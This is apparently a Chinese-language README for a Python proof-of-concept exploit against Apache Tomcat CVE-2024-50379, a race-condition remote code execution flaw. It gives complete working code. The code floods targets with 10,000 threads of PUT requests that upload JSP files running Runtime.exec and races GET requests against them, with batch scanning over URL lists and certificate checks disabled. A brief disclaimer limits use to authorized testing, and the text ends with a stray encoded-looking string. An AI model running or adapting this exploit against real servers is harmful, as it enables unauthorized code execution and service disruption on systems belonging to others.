Apache Tomcat CVE-2024-50379 条件竞争RCE漏洞检测工具

3 阅读3分钟

Apache Tomcat CVE-2024-50379 漏洞检测工具

高性能高并发的PoC工具,用于检测Apache Tomcat服务器是否存在CVE-2024-50379条件竞争漏洞,可导致远程代码执行(RCE)。支持单目标与批量检测,并提供详细的漏洞确认输出。

功能特性

  • 双协议支持:自动检测HTTP与HTTPS协议
  • 高并发扫描:内置10,000级线程池,快速完成条件竞争触发
  • 精准检测:通过PUT上传恶意JSP文件与GET请求回显组合检测漏洞
  • 批量处理:支持从文本文件读取URL列表进行大规模扫描
  • 彩色输出:发现漏洞时红色高亮显示目标URL
  • SSL免验证:忽略证书校验,避免HTTPS证书错误干扰

安装指南

系统要求

  • Python 3.6+
  • pip包管理器

依赖安装

pip install requests urllib3

源码获取

git clone https://github.com/your-repo/tomcat-cve-2024-50379-poc.git
cd tomcat-cve-2024-50379-poc

使用说明

命令行参数

参数说明
-u / --url单个目标URL或IP地址
-f / --txt包含URL列表的文本文件路径

基础用法

单个目标检测
python poc.py -u 192.168.1.100
批量检测
python poc.py -f url.txt
url.txt 文件格式示例
192.168.1.1
192.168.1.2:8080
example.com
https://target.com:8443

检测逻辑说明

工具执行以下操作检测漏洞:

  1. 向目标服务器发送PUT请求,尝试上传 aa.Jspbb.Jspaa.jspbb.jsp 文件并注入JSP恶意代码
  2. 同时发送GET请求尝试访问上传的JSP文件
  3. 利用高并发请求触发条件竞争
  4. 若服务器返回201或200状态码,判定漏洞存在

输出示例

发现漏洞时:

Checking http://192.168.1.100/...
Response status: 201
Response status: 200
Find: http://192.168.1.100: Apache Tomcat CVE-2024-50379 Conditional Competition To RCE!

无漏洞时:

Checking https://target.com/...
Response status: 404
Response status: 403

核心代码

漏洞检测主函数

def check(url):
    protocols = ['http://', 'https://']
    found_vulnerabilities = False

    for protocol in protocols:
        target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), "/")
        print(f"Checking {target_url}...")

        target_url_put1 = urljoin(target_url, "/aa.Jsp")
        target_url_put2 = urljoin(target_url, "/bb.Jsp")
        target_url_get1 = urljoin(target_url, "/aa.jsp")
        target_url_get2 = urljoin(target_url, "/bb.jsp")

        headers1 = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
            "Content-Type": "application/json"
        }

        headers2 = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
        }
        payload_put = "aa<% Runtime.getRuntime().exec(\"calc.exe\");%>"

        # 高并发线程池触发条件竞争
        with concurrent.futures.ThreadPoolExecutor(max_workers=10000) as executor:
            futures = []
            for _ in range(10000):  
                futures.append(executor.submit(requests.put, target_url_put1, verify=False, headers=headers1, data=payload_put))
                futures.append(executor.submit(requests.put, target_url_put2, verify=False, headers=headers1, data=payload_put))
                futures.append(executor.submit(requests.get, target_url_get1, verify=False, headers=headers2))
                futures.append(executor.submit(requests.get, target_url_get2, verify=False, headers=headers2))

            for future in concurrent.futures.as_completed(futures):
                try:
                    response = future.result()
                    print(f"Response status: {response.status_code}")
                    if isinstance(response, requests.Response):
                        if (response.status_code == 201) or (response.status_code == 200):
                            found_vulnerabilities = True
                except Exception as e:
                    print(f"Error occurred: {e}")

            if found_vulnerabilities:
                print(f"\033[31mFind: {url}: Apache Tomcat CVE-2024-50379 Conditional Competition To RCE!\033[0m")
                return True

文件读取函数

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

主入口逻辑

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")

⚠️ 免责声明

本工具仅用于安全测试与研究目的。未经授权使用本工具攻击目标系统属于违法行为。使用者须遵守当地法律法规,并自行承担全部责任。 6HFtX5dABrKlqXeO5PUv/6Fn8owtg7Bcj3wEq0JgPj4BWJKOad+zj7NihdjZU7Om